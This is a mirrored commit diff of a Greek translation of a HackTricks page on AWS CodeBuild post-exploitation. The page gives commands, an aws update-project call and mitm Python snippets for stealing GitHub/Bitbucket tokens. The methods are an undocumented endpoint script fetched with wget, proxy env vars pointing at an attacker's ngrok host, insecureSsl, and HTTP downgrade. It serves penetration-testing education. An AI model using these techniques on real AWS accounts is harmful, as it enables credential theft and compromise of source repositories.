mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -2,43 +2,53 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ανάκτηση Github/Bitbucket Διαμορφωμένων Tokens
|
||||
## Ανάκτηση διαμορφωμένων Tokens για Github/Bitbucket
|
||||
|
||||
Πρώτα, έλεγξε αν υπάρχουν διαμορφωμένα διαπιστευτήρια πηγής που θα μπορούσες να leak:
|
||||
Πρώτα, ελέγξτε αν υπάρχουν source credentials διαμορφωμένα που μπορείτε να leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Μέσω RCE σε CodeBuild Job
|
||||
|
||||
Από μέσα σε ένα CodeBuild job, μπορείτε να καλέσετε ένα μη τεκμηριωμένο AWS CodeBuild API endpoint το οποίο θα σας επιστρέψει τα credentials που χρησιμοποιεί το CodeBuild. Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσετε τα credentials με τα οποία είχε ρυθμιστεί το CodeBuild job, π.χ. AWS CodeConnection credentials, OAUTH ή PAT credentials. Το CodeBuild job δεν χρειάζεται να έχει προνόμια για να καλέσει αυτό το endpoint και είναι επίσης δύσκολο να εντοπιστεί στο logging και monitoring, καθώς το ίδιο το CodeBuild καλεί αυτό το endpoint αρκετές φορές κατά την εκκίνηση.
|
||||
|
||||
Η τεχνική εξηγείται περαιτέρω σε [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) αλλά συνοπτικά, για να αποκτήσετε credentials μέσα στο CodeBuild job απλά πρέπει να τρέξετε τα εξής:
|
||||
```
|
||||
python -m pip install botocore boto3 requests
|
||||
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
|
||||
python ./GetBuildInfo.py
|
||||
```
|
||||
### Μέσω Docker Image
|
||||
|
||||
Αν διαπιστώσετε ότι υπάρχει authentication, για παράδειγμα για Github, στον λογαριασμό, μπορείτε να **exfiltrate** εκείνη την **access** (**GH token or OAuth token**) αναγκάζοντας το Codebuild να **use an specific docker image** για να εκτελέσει το build του project.
|
||||
Εάν διαπιστώσετε ότι η authentication, για παράδειγμα στο Github, έχει ρυθμιστεί στον λογαριασμό, μπορείτε να **exfiltrate** αυτήν την **πρόσβαση** (**GH token or OAuth token**) κάνοντας το Codebuild να **χρησιμοποιήσει μια συγκεκριμένη Docker image** για να εκτελέσει το build του project.
|
||||
|
||||
Για αυτόν τον σκοπό μπορείτε να **create a new Codebuild project** ή να αλλάξετε το **environment** ενός υπάρχοντος για να ορίσετε την **Docker image**.
|
||||
Για αυτό το σκοπό μπορείτε να **δημιουργήσετε νέο Codebuild project** ή να αλλάξετε το **περιβάλλον** ενός υπάρχοντος ώστε να ορίσετε την **Docker image**.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για ένα πολύ βασικό Docker image που θα ορίσει τις **env variables `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης (traffic) προς τον host που υποδεικνύεται στα **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**.
|
||||
Η Docker image που μπορείτε να χρησιμοποιήσετε είναι [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για μια πολύ βασική Docker image που θα ορίσει τις **env variables `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης του host που υποδεικνύεται στις **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας, να τοποθετήσετε το SSL cert και να **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** ώστε να μην υποκλέπτονται τα αιτήματα προς το metadata endpoint.
|
||||
- Μπορείτε να χρησιμοποιήσετε **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας
|
||||
- Μόλις έχετε το Docker image έτοιμο, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Δημιουργήστε ένα **new Codebuild project** ή **modify** το περιβάλλον ενός υπάρχοντος.
|
||||
- Ρυθμίστε το project ώστε να χρησιμοποιεί την **previously generated Docker image**
|
||||
1. **Δημιουργία & Ανέβασμα της δικής σας Docker MitM image**
|
||||
- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας και το SSL cert σας και **να δημιουργήσετε την Docker image**.
|
||||
- **ΜΗΝ ΟΡΙΣΕΤΕ το `http_proxy`** ώστε να μην αναχαιτίζονται αιτήσεις προς το metadata endpoint.
|
||||
- Μπορείτε να χρησιμοποιήσετε το **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας
|
||||
- Μόλις έχετε την Docker image έτοιμη, **ανεβάστε την σε ένα δημόσιο repo** (Dockerhub, ECR...)
|
||||
2. **Ορίστε το περιβάλλον**
|
||||
- Δημιουργήστε ένα **νέο Codebuild project** ή **τροποποιήστε** το περιβάλλον ενός υπάρχοντος.
|
||||
- Ορίστε το project να χρησιμοποιεί την **προηγουμένως δημιουργημένη Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **Ορίστε τον MitM proxy στον host σας**
|
||||
|
||||
- Όπως υποδεικνύεται στο **Github repo** μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
- Όπως υποδεικνύεται στο **Github repo** μπορείτε να χρησιμοποιήσετε κάτι τέτοιο:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Η **έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό ίσως να μην λειτουργεί.
|
||||
> **Η έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό μπορεί να μην λειτουργεί.
|
||||
|
||||
4. **Εκτελέστε το build & capture the credentials**
|
||||
4. **Εκτελέστε το build & αποσπάστε τα διαπιστευτήρια**
|
||||
|
||||
- Μπορείτε να δείτε το token στην **Authorization** κεφαλίδα:
|
||||
- Μπορείτε να δείτε το token στην κεφαλίδα **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Μέσω insecureSSL
|
||||
|
||||
Τα projects του **Codebuild** έχουν μια ρύθμιση που ονομάζεται **`insecureSsl`** που είναι κρυμμένη στο web και μπορείς να την αλλάξεις μόνο μέσω του API.\
|
||||
Η ενεργοποίηση αυτής επιτρέπει στο **Codebuild** να συνδεθεί στο αποθετήριο **χωρίς να ελέγχει το πιστοποιητικό** που παρέχει η πλατφόρμα.
|
||||
Τα έργα του **Codebuild** έχουν μια ρύθμιση που ονομάζεται **`insecureSsl`** η οποία είναι κρυμμένη στη διεπαφή web και μπορεί να αλλάξει μόνο μέσω του API.\
|
||||
Η ενεργοποίησή της επιτρέπει στο Codebuild να συνδεθεί στο αποθετήριο **χωρίς να ελέγχει το πιστοποιητικό** που παρέχει η πλατφόρμα.
|
||||
|
||||
- Πρώτα πρέπει να απαριθμήσεις την τρέχουσα διαμόρφωση με κάτι σαν:
|
||||
- Πρώτα πρέπει να απαριθμήσετε την τρέχουσα διαμόρφωση με κάτι σαν:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Έπειτα, με τις συγκεντρωμένες πληροφορίες μπορείτε να ενημερώσετε την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το παρακάτω είναι ένα παράδειγμα της ενημέρωσής μου ενός project — προσέξτε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξετε από τη συγκεντρωμένη διαμόρφωση).
|
||||
- Επιπλέον, προσθέστε επίσης τις env μεταβλητές **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σας όπως:
|
||||
- Έπειτα, με τις συλλεχθείσες πληροφορίες μπορείς να ενημερώσεις την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το παρακάτω είναι ένα παράδειγμα της ενημέρωσής μου ενός project — πρόσεξε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξεις από τη συλλεχθείσα διαμόρφωση).
|
||||
- Επιπλέον, πρόσθεσε και τις μεταβλητές περιβάλλοντος **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σου όπως:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +125,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy)
|
||||
- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην port που υποδεικνύεται από τις μεταβλητές proxy (http_proxy και https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Τέλος, κάντε κλικ στο **Build the project**, οι **credentials** θα **σταλούν σε clear text** (base64) στην mitm port:
|
||||
- Τέλος, κάντε κλικ στο **Build the project**, τα **credentials** θα **αποσταλούν σε clear text** (base64) στην mitm πόρτα:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Μέσω HTTP πρωτοκόλλου~~
|
||||
### ~~Μέσω πρωτοκόλλου HTTP~~
|
||||
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
|
||||
Ένας attacker με **elevated permissions** σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token που έχει διαμορφωθεί ή, εάν τα permissions ήταν ρυθμισμένα μέσω OAuth, το **temporary OAuth token used to access the code**.
|
||||
Ένας attacker με **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** που έχει ρυθμιστεί ή αν τα permissions ρυθμίστηκαν μέσω OAuth, το **temporary OAuth token used to access the code**.
|
||||
|
||||
- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project δείχνοντας στο μηχάνημά του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project δείχνοντάς τες στη μηχανή του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Έπειτα, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην port που δείχνουν οι proxy variables (http_proxy και https_proxy)
|
||||
- Στη συνέχεια, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην πόρτα που δείχνουν οι μεταβλητές proxy (http_proxy και https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Στη συνέχεια, κάντε κλικ στο **Κατασκευή του έργου** ή ξεκινήστε το build από τη γραμμή εντολών:
|
||||
- Στη συνέχεια, κάντε κλικ στο **Κατασκευή του έργου** ή ξεκινήστε την κατασκευή από τη γραμμή εντολών:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Τέλος, τα **διαπιστευτήρια** θα **αποσταλούν σε απλό κείμενο** (base64) στην θύρα mitm:
|
||||
- Τέλος, τα **διαπιστευτήρια** θα σταλούν **σε απλό κείμενο** (base64) στην mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Τώρα ο επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από το μηχάνημά του, να απαριθμήσει όλα τα προνόμια που διαθέτει και να τα (κακο)χρησιμοποιήσει πιο εύκολα σε σχέση με την απευθείας χρήση της υπηρεσίας CodeBuild.
|
||||
> Τώρα ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από τη μηχανή του, να απαριθμήσει όλα τα προνόμια που έχει και να τα (κακο)χρησιμοποιήσει πιο εύκολα απ' ό,τι χρησιμοποιώντας άμεσα την υπηρεσία CodeBuild.
|
||||
|
||||
## Untrusted PR execution via webhook filter misconfiguration
|
||||
## Εκτέλεση μη αξιόπιστου PR μέσω λανθασμένης διαμόρφωσης φίλτρου webhook
|
||||
|
||||
Για την PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), δείτε:
|
||||
Για την αλυσίδα παράκαμψης webhook που ενεργοποιείται από PR (`ACTOR_ACCOUNT_ID` regex + εκτέλεση μη αξιόπιστου PR), δείτε:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
|
||||
Reference in New Issue
Block a user